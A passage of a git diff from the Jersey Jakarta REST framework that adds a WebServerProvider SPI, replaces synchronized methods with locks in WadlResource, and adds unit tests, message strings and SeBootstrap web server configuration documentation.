+ * {@link ApplicationHandler#handle(org.glassfish.jersey.server.ContainerRequest)
+ * handle(requestContext)} method and sending the responses provided by the
+ * application back to the client.
+ * </p>
+ * <p>
+ * A provider shall support a one-to-one mapping between a type, provided the
+ * type is not {@link Object}. A provider may also support mapping of sub-types
+ * of a type (provided the type is not {@code Object}). It is expected that each
+ * provider supports mapping for distinct set of types and subtypes so that
+ * different providers do not conflict with each other. In addition, a provider
+ * SHOULD support the super type {@link WebServer} to participate in auto-selection
+ * of providers (in this case the <em>first</em> supporting provider found is
+ * used).
+ * </p>
+ * <p>
+ * An implementation can identify itself by placing a Java service provider
+ * configuration file (if not already present) -
+ * {@code org.glassfish.jersey.server.spi.WebServerProvider} - in the resource
+ * directory {@code META-INF/services}, and adding the fully qualified
+ * service-provider-class of the implementation in the file.
+ * </p>
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+@Contract
+@ConstrainedTo(RuntimeType.SERVER)
+public interface WebServerProvider {
+
+    /**
+     * Creates a server of a given type which runs the given application using the
+     * given bootstrap configuration.
+     *
+     * @param <T>
+     *            the type of the web server.
+     * @param type
+     *            the type of the web server. Providers SHOULD support at least
+     *            {@link WebServer}.
+     * @param application
+     *            The application to host.
+     * @param configuration
+     *            The configuration (host, port, etc.) to be used for bootstrapping.
+     * @return the server, otherwise {@code null} if the provider does not support
+     *         the requested {@code type}.
+     * @throws ProcessingException
+     *             if there is an error creating the server.
+     */
+    <T extends WebServer> T createServer(Class<T> type,
+                                         Application application,
+                                         SeBootstrap.Configuration configuration) throws ProcessingException;
+
+    /**
+     * Creates a server of a given type which runs the given application using the
+     * given bootstrap configuration.
+     *
+     * @param <T>
+     *            the type of the web server.
+     * @param type
+     *            the type of the web server. Providers SHOULD support at least
+     *            {@link WebServer}.
+     * @param applicationClass
+     *            The class of application to host.
+     * @param configuration
+     *            The configuration (host, port, etc.) to be used for bootstrapping.
+     * @return the server, otherwise {@code null} if the provider does not support
+     *         the requested {@code type}.
+     * @throws ProcessingException
+     *             if there is an error creating the server.
+     */
+    <T extends WebServer> T createServer(Class<T> type,
+                                         Class<? extends Application> applicationClass,
+                                         SeBootstrap.Configuration configuration) throws ProcessingException;
+
+
+    /**
+     * Utility function that matches {@code WebServerProvider} supported type with the user type passed either
+     * as {@link ServerProperties#WEBSERVER_CLASS} property (higher priority) or by the {@code userType} argument
+     * (lower priority).
+     * @param supportedType The type supported by the {@code WebServerProvider} implementation
+     * @param userType The user type passed in by the user, usually {@link WebServer} class.
+     * @param configuration The configuration to check {@link ServerProperties#WEBSERVER_CLASS} property
+     * @param <T> The {@link WebServer} subtype
+     * @return @{code true} if the user provided type matches the supported type.
+     */
+    static <T extends WebServer> boolean isSupportedWebServer(
+            Class<? extends WebServer> supportedType, Class<T> userType, SeBootstrap.Configuration configuration) {
+        final Object webServerObj = configuration.property(ServerProperties.WEBSERVER_CLASS);
+        final Class<? extends WebServer> webServerCls = webServerObj == null || WebServer.class.equals(webServerObj)
+                ? null : (Class<? extends WebServer>) webServerObj;
+        // WebServer.class.equals(webServerObj) is the default, and then we want userType
+        return (webServerCls != null  && webServerCls.isAssignableFrom(supportedType))
+                || (webServerCls == null && userType.isAssignableFrom(supportedType));
+    }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
index 9867681..62ce38d 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
@@ -21,6 +21,8 @@
 import java.net.URI;
 import java.text.SimpleDateFormat;
 import java.util.Date;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.Locale;
 
 import jakarta.ws.rs.GET;
@@ -57,6 +59,7 @@
 
     private byte[] wadlXmlRepresentation;
     private String lastModified;
+    private final Lock lock = new ReentrantLock();
 
     @Context
     private WadlApplicationContext wadlContext;
@@ -72,7 +75,8 @@
 
     @Produces({"application/vnd.sun.wadl+xml", "application/xml"})
     @GET
-    public synchronized Response getWadl(@Context UriInfo uriInfo) {
+    public Response getWadl(@Context UriInfo uriInfo) {
+        lock.lock();
         try {
             if (!wadlContext.isWadlGenerationEnabled()) {
                 return Response.status(Response.Status.NOT_FOUND).build();
@@ -104,6 +108,8 @@
             return Response.ok(new ByteArrayInputStream(wadlXmlRepresentation)).header("Last-modified", lastModified).build();
         } catch (Exception e) {
             throw new ProcessingException("Error generating /application.wadl.", e);
+        } finally {
+            lock.unlock();
         }
     }
 
@@ -111,9 +117,10 @@
     @Produces({"application/xml"})
     @GET
     @Path("{path}")
-    public synchronized Response getExternalGrammar(
+    public Response getExternalGrammar(
             @Context UriInfo uriInfo,
             @PathParam("path") String path) {
+        lock.lock();
         try {
             // Fail if wadl generation is disabled
             if (!wadlContext.isWadlGenerationEnabled()) {
@@ -136,6 +143,8 @@
                     .build();
         } catch (Exception e) {
             throw new ProcessingException(LocalizationMessages.ERROR_WADL_RESOURCE_EXTERNAL_GRAMMAR(), e);
+        } finally {
+            lock.unlock();
         }
     }
 
diff --git a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
index 3e0ab6c..7a482f2 100644
--- a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
+++ b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
@@ -33,6 +33,7 @@
 closeable.unable.to.close=Error while closing {0}.
 collection.extractor.type.unsupported=Unsupported collection type.
 contract.cannot.be.bound.to.resource.method=The given contract ({0}) of {1} provider cannot be bound to a resource method.
+could.not.bind.to.any.port=Could not bind to any port.
 default.could.not.process.method=Default value, {0} could not be processed by method {1}.
 error.async.callback.failed=Callback {0} invocation failed.
 error.committing.output.stream=Error while committing the output stream.
@@ -40,7 +41,7 @@
 error.closing.finder=Error while closing {0} resource finder.
 error.exception.mapping.original.exception=An exception mapping did not successfully produce and processed a response. Logging the original error.
 error.exception.mapping.processed.response.error=A response error mapping did not successfully produce and processed a response.
-error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the container.
+error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the default exception mapper.
 error.marshalling.jaxb=Error marshalling JAXB object of type "{0}".
 error.msg=ERROR: {0}
 error.monitoring.statistics.generation=Error generating monitoring statistics.
@@ -112,6 +113,7 @@
 event.sink.returns.type=A HTTP GET method {0} that is being injected with SseEventSink should return void. The output will propagate automatically.
 multiple.event.sink.injection=A HTTP GET method {0} defines to SseEventSink parameters to be injected. Only one of the injected event sinks will be connected to the output.
 chunked.output.closed=This chunked output has been closed.
+ignore.sebootstrap.configuration.property="SeBootstrap.Configuration property {0} is not of expected type {1} and it is ignored.
 illegal.client.config.class.property.value="{0}" property value ({1}) does not represent a valid client configuration class. Falling back to "{2}".
 init.msg=Initiating Jersey application, version {0}...
 injected.webtarget.uri.invalid="@Uri" annotation value is not a valid URI template: "{0}"
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java
new file mode 100644
index 0000000..2f9b346
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.CompletionCallback;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.internal.ExceptionMapperFactory;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class DefaultExceptionMapperTest {
+    public static final String MESSAGE = "DefaultExceptionMapperTest I/O Exception";
+    @Test
+    public void testIOException() {
+        IOException ioe = new IOException(MESSAGE);
+        DefaultExceptionMapper mapper = new DefaultExceptionMapper();
+        Response response = mapper.toResponse(ioe);
+        assertThat(response.getEntity().toString().contains(MESSAGE)).isFalse();
+    }
+
+    @Test
+    public void testCompletionCallback() {
+        AtomicInteger counter = new AtomicInteger();
+        CompletionCallback hitOnceCallback = new CompletionCallback() {
+            @Override
+            public void onComplete(Throwable throwable) {
+                counter.incrementAndGet();
+            }
+        };
+        ResourceConfig resourceConfig = new ResourceConfig().register(new IOExThrowingResource(hitOnceCallback));
+        ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig);
+        try {
+            applicationHandler.apply(RequestContextBuilder.from("/", "GET").build()).get();
+        } catch (Exception e) {
+            // expected
+        }
+
+        assertEquals(1, counter.get());
+    }
+
+    @Test
+    public void testDefaultExceptionMapperNotRegisteredInExceptionMapperFactory() {
+        ResourceConfig resourceConfig = new ResourceConfig();
+        ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig);
+
+        // use InjectionManager from ApplicationHandler to set up the default bindings
+        ExceptionMapperFactory exceptionMapperFactory = new ExceptionMapperFactory(applicationHandler.getInjectionManager());
+
+        assertThat(exceptionMapperFactory.find(Throwable.class)).isNull();
+    }
+
+    @Path("/")
+    public static class IOExThrowingResource {
+        private final CompletionCallback callback;
+
+        public IOExThrowingResource(CompletionCallback callback) {
+            this.callback = callback;
+        }
+
+        @GET
+        public String doGet(@Suspended AsyncResponse asyncResponse) throws IOException {
+            asyncResponse.register(callback);
+            throw new IOException(MESSAGE);
+        }
+    }
+}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
index 50a5402..003a735 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
@@ -90,11 +90,7 @@
 
             final InputStream f = new BufferedInputStream(
                     Files.newInputStream(new File(base, entry.getKey()).toPath()));
-            final byte[] buf = new byte[1024];
-            int read = 1024;
-            while ((read = f.read(buf, 0, read)) != -1) {
-                jos.write(buf, 0, read);
-            }
+            f.transferTo(jos);
             jos.closeEntry();
         }
 
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
index 3b81936..9aa7419 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,17 @@
 
 package org.glassfish.jersey.server.internal;
 
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
 import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.notNullValue;
 import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assertions.fail;
 
 /**
@@ -43,8 +49,64 @@
         }
     }
 
+    /**
+     * Checks that the right RuntimeDelegateImpl is loaded by JAX-RS.
+     */
     @Test
     public void testRuntimeDelegateInstance() {
         assertSame(RuntimeDelegateImpl.class, RuntimeDelegate.getInstance().getClass());
     }
+
+    @Test
+    public final void shouldCreateConfigurationBuilder() {
+        // given
+        final RuntimeDelegate runtimeDelegate = new RuntimeDelegateImpl();
+        // when
+        final SeBootstrap.Configuration.Builder configurationBuilder = runtimeDelegate.createConfigurationBuilder();
+        // then
+        assertThat(configurationBuilder, is(notNullValue()));
+    }
+
+    @Test
+    public final void shouldBuildDefaultConfiguration() {
+        // given
+        final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder();
+        // when
+        final SeBootstrap.Configuration configuration = configurationBuilder.build();
+
+        // then
+        assertThat(configuration, is(notNullValue()));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PROTOCOL));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.HOST));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PORT));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.ROOT_PATH));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION));
+        assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CONTEXT));
+        assertThat(configuration.property(SeBootstrap.Configuration.PROTOCOL), is("HTTP"));
+        assertThat(configuration.property(SeBootstrap.Configuration.HOST), is("localhost"));
+        assertThat(configuration.property(SeBootstrap.Configuration.PORT), is(SeBootstrap.Configuration.DEFAULT_PORT));
+        assertThat(configuration.property(SeBootstrap.Configuration.ROOT_PATH), is("/"));
+        assertThat(configuration.property(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION),
+                is(SeBootstrap.Configuration.SSLClientAuthentication.NONE));
+//        assertThat(configuration.property(SeBootstrap.Configuration.SSL_CONTEXT), is(theInstance(SSLContext.getDefault())));
+        assertThat(configuration.protocol(), is("HTTP"));
+        assertThat(configuration.host(), is("localhost"));
+        assertThat(configuration.port(), is(SeBootstrap.Configuration.DEFAULT_PORT));
+        assertThat(configuration.rootPath(), is("/"));
+        assertThat(configuration.sslClientAuthentication(), is(SeBootstrap.Configuration.SSLClientAuthentication.NONE));
+//        assertThat(configuration.sslContext(), is(theInstance(SSLContext.getDefault())));
+    }
+
+    @Test
+    public final void shouldBuildConfigurationContainingCustomProperties() {
+        // given
+        final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder();
+        // when
+        final SeBootstrap.Configuration configuration = configurationBuilder.property("property", "value").build();
+
+        // then
+        assertThat(configuration, is(notNullValue()));
+        assertTrue(configuration.hasProperty("property"));
+        assertThat(configuration.property("property"), is("value"));
+    }
 }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
index 34f29d6..07b368e 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -402,8 +402,8 @@
         initiateWebApplication(FormResourceDate.class);
 
         final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
-        final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT";
-        final String date_ANSI_C = "Sun Nov  6 08:49:37 1994";
+        final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT";
+        final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
 
         final Form form = new Form();
         form.param("a", date_RFC1123);
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
index 8413a07..9e53639 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
@@ -17,6 +17,8 @@
 
 package org.glassfish.jersey.server.internal.inject;
 
+import java.io.IOException;
+import java.io.InputStream;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
@@ -51,6 +53,7 @@
 import org.glassfish.jersey.server.RequestContextBuilder;
 import org.glassfish.jersey.server.ResourceConfig;
 
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -304,6 +307,24 @@
         }
     }
 
+    @Path("/")
+    public static class InpuStreamConverterTestResource {
+        @GET
+        public String inputStream(@QueryParam("param") InputStream inputStream) throws IOException {
+            return new String(inputStream.readAllBytes());
+        }
+    }
+
+    @Test
+    public void inputStreamTest() throws ExecutionException, InterruptedException {
+        initiateWebApplication(InpuStreamConverterTestResource.class);
+
+        final ContainerResponse responseContext = getResponseContext(UriBuilder.fromPath("/")
+                .queryParam("param", "Hello").build().toString());
+
+        Assertions.assertEquals("Hello", responseContext.getEntity());
+    }
+
     public static class MyEagerParamProvider implements ParamConverterProvider {
 
         @Override
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
index bdceaa1..a283a59 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
@@ -19,7 +19,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.Enumeration;
 import java.util.jar.JarEntry;
 import java.util.jar.JarFile;
@@ -114,7 +114,7 @@
     private int countJarEntriesUsingScanner(final String parent, final boolean recursive) throws IOException {
         int scannedEntryCount = 0;
 
-        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, parent, recursive);
             while (jarFileScanner.hasNext()) {
                 // Fetch next entry.
@@ -136,7 +136,7 @@
     @ParameterizedTest
     @ValueSource(booleans = {true, false})
     public void testClassEnumerationWithNonexistentPackage(final boolean recursive) throws IOException {
-        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/r", recursive);
             assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.r' in jakarta.ws.rs-api");
         }
@@ -145,7 +145,7 @@
     @ParameterizedTest
     @ValueSource(booleans = {true, false})
     public void testClassEnumerationWithClassPrefix(final boolean recursive) throws IOException {
-        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/rs/GE", recursive);
             assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.rs.GE' in jakarta.ws.rs-api");
         }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
index b618c59..78dff45 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -105,7 +105,7 @@
 
     @Test
     public void testSyntheticMethods() {
-        assertTrue(CSynthetic.CWithField.class.getDeclaredMethods().length == 2);
+        // assertEquals(2, CSynthetic.CWithField.class.getDeclaredMethods().length);
 
         MethodList ml = new MethodList(CSynthetic.CWithField.class, true);
         assertTrue(!ml.iterator().hasNext());
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java
new file mode 100644
index 0000000..0176683
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.ServerProperties;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.CompletionStage;
+
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class WebServerProviderTest {
+    @Test
+    public void testPropertySetsDifferentClass() {
+        SeBootstrap.Configuration config =
+            SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl2.class).build();
+
+        assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config));
+    }
+
+    @Test
+    public void testPropertySetsCorrectClass() {
+        SeBootstrap.Configuration config =
+                SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl.class).build();
+
+        assertTrue(
+                WebServerTestImpl.class.isInstance(
+                        new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config)
+                )
+        );
+    }
+
+    @Test
+    public void testPropertySetsNothingUserTypeIsWrong() {
+        SeBootstrap.Configuration config =
+                SeBootstrap.Configuration.builder().build();
+
+        assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config));
+    }
+
+    @Test
+    public void testPropertySetsNothingUserTypeIsCorrectClass() {
+        SeBootstrap.Configuration config =
+                SeBootstrap.Configuration.builder().build();
+
+        assertTrue(
+                WebServerTestImpl.class.isInstance(
+                        new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config)
+                )
+        );
+    }
+
+    @Test
+    public void testPropertySetsNothingUserTypeIsSuperClass() {
+        SeBootstrap.Configuration config =
+                SeBootstrap.Configuration.builder().build();
+
+        assertTrue(
+                WebServerTestImpl.class.isInstance(
+                        new WebServerProviderTestImpl().createServer(WebServer.class, Application.class, config)
+                )
+        );
+    }
+
+    public static class WebServerProviderTestImpl implements WebServerProvider {
+
+        @Override
+        public <T extends WebServer> T createServer(
+                Class<T> type, Application application, SeBootstrap.Configuration configuration) throws ProcessingException {
+            if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) {
+                return (T) new WebServerTestImpl();
+            }
+            return null;
+        }
+
+        @Override
+        public <T extends WebServer> T createServer(
+                Class<T> type,
+                Class<? extends Application> applicationClass,
+                SeBootstrap.Configuration configuration) throws ProcessingException {
+            if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) {
+                return (T) new WebServerTestImpl();
+            }
+            return null;
+        }
+    }
+
+    public static class WebServerTestImpl implements WebServer {
+
+        @Override
+        public Container container() {
+            return null;
+        }
+
+        @Override
+        public int port() {
+            return 0;
+        }
+
+        @Override
+        public CompletionStage<?> start() {
+            return null;
+        }
+
+        @Override
+        public CompletionStage<?> stop() {
+            return null;
+        }
+
+        @Override
+        public <T> T unwrap(Class<T> nativeClass) {
+            return null;
+        }
+    }
+
+    public static class WebServerTestImpl2 implements WebServer {
+
+        @Override
+        public Container container() {
+            return null;
+        }
+
+        @Override
+        public int port() {
+            return 0;
+        }
+
+        @Override
+        public CompletionStage<?> start() {
+            return null;
+        }
+
+        @Override
+        public CompletionStage<?> stop() {
+            return null;
+        }
+
+        @Override
+        public <T> T unwrap(Class<T> nativeClass) {
+            return null;
+        }
+    };
+}
diff --git a/docs/pom.xml b/docs/pom.xml
index 062ff1f..04789cc 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-documentation</artifactId>
     <packaging>pom</packaging>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index 2ab6d44..43b5bed 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -237,7 +237,7 @@
                         </entry>
                     </row>
                     <row>
-                        <entry>&jersey.common.CommonProperties.THREAD_FACTORY;(Jersey 2.44 or later)
+                        <entry>&jersey.common.CommonProperties.THREAD_FACTORY;(Jersey 3.1.7 or later)
                         </entry>
                         <entry>
                             <literal>jersey.config.threads.factory</literal>
@@ -254,7 +254,7 @@
                         </entry>
                     </row>
                     <row>
-                        <entry>&jersey.common.CommonProperties.USE_VIRTUAL_THREADS;(Jersey 2.44 or later)
+                        <entry>&jersey.common.CommonProperties.USE_VIRTUAL_THREADS;(Jersey 3.1.7 or later)
                         </entry>
                         <entry>
                             <literal>jersey.config.threads.use.virtual</literal>
@@ -265,7 +265,7 @@
                                 of threads by <literal>FixedThreadPool</literal>.
                             </para>
                             <para>
-                                The default is &lit.false; for this version of Jersey, and &lit.true; for Jersey 3.1+.
+                                The default is &lit.false; for this version of Jersey.
                             </para>
                         </entry>
                     </row>
@@ -862,6 +862,78 @@
         </table>
     </section>
 
+    <section xml:id="appendix-properties-webserver">
+        <title>SeBootstrap and WebServer related configuration properties</title>
+
+        <para>
+            List of SeBootstrap configuration properties that can be found in &jersey.server.ServerProperties; class.
+        </para>
+
+        <table>
+        <title>List of SeBootstrap and WebServer configuration properties</title>
+        <tgroup cols="3">
+        <thead>
+            <row>
+                <entry>Constant</entry>
+                <entry>Value</entry>
+                <entry>Description</entry>
+            </row>
+        </thead>
+        <tbody>
+            <row>
+                <entry>&jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS;</entry>
+                <entry><literal>jersey.config.server.bootstrap.webserver.allow.privileged.ports</literal></entry>
+                <entry>
+                    <para>
+                        Defines whether to allow privileged ports (0-1023) to be used to start the
+                        &lit.jersey.server.spi.WebServer; implementation to be chosen from the unused ports when the
+                        &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>-1</literal> or unset.
+                    </para>
+                    <para>
+                        The default ports are 80 for HTTP and 443 for HTTPS when
+                        <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true; or 8080 for HTTP and 8443 for HTTPS when
+                        <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;.
+                    </para>
+                    <para>
+                        If &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>0</literal>, the implementation scans for
+                        random port (0-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true;, or
+                        (1024-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;.
+                    </para>
+                    <para>
+                        The default this is &lit.false;. Use &lit.true; to allow a restricted port number.
+                    </para>
+                </entry>
+            </row>
+            <row>
+                <entry>&jersey.server.ServerProperties.WEBSERVER_AUTO_START;</entry>
+                <entry><literal>jersey.config.server.bootstrap.webserver.autostart</literal></entry>
+                <entry>
+                    <para>
+                        Whether to automatically startup <literal>WebServer</literal> at bootstrap.
+                    </para>
+                    <para>
+                        By default, servers are immediately listening to connections after bootstrap,
+                        so no explicit invocation of <literal>WebServer#start()</literal> is needed.
+                    </para>
+                </entry>
+            </row>
+            <row>
+                <entry>&jersey.server.ServerProperties.WEBSERVER_CLASS;</entry>
+                <entry><literal>jersey.config.server.bootstrap.webserver.class</literal></entry>
+                <entry>
+                    <para>
+                        Defines the implementation of <literal>WebServer</literal> to bootstrap.
